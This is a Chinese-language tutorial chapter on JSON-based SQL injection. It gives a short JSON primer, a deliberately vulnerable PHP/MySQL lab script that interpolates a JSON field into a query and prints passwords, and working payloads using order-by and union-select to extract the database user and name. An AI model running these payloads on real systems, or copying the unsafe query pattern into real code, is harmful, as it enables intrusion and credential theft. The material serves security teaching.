4.7SQL注入之json注入
本章学习目的:
1.了解什么json数据格式
2.了解json注入的方式
3.了解什么场景下会使用json进行注入
1.什么是json?
JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。
json的数据类型:
创建一个json对象
const jsonStr ='{"name":"mc","age":18,"sex":"男"}'
const jsonObject = JSON.parse(jsonStr);
输出解析json数据
Object.keys(jsonObject).forEach(item=>{console.log(item,":",jsonObject[item])})
转换成json字符串
const toJSON = JSON.stringify(jsonObject);console.log(toJSON);
2.json注入
原理:JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造JSON,则可以更改JSON 数据的语义。
危害:
攻击者可以利用JSON注入漏洞在JSON数据中插入元素,从而允许JSO数据对业务非常关键的值执行恶意操作,获取管理权限等
严重的可能导致XSS和动态解析代码
防御:
检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注使用JSON标准对JSON 数据进行处理,防止JSON注入
3.案例演示
1.php源码:
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
2.进行注入
1、按照特定的数据格式查询admin用户密码
json={“username”:“admin”}
2、查看源代码,构造payload
代码中的sql语句是这个样子的
构造payload进行注入
json={“username”:“admin’ order by 3#”}
3、判断当前数据库有多少列
2正常,3报错,判断当前数据库有2列
4、注入带出来数据
json={“username”:“admin’ and 1=2 union select 1,2#”}
json={“username”:“admin’ and 1=2 union select user(),database()#”}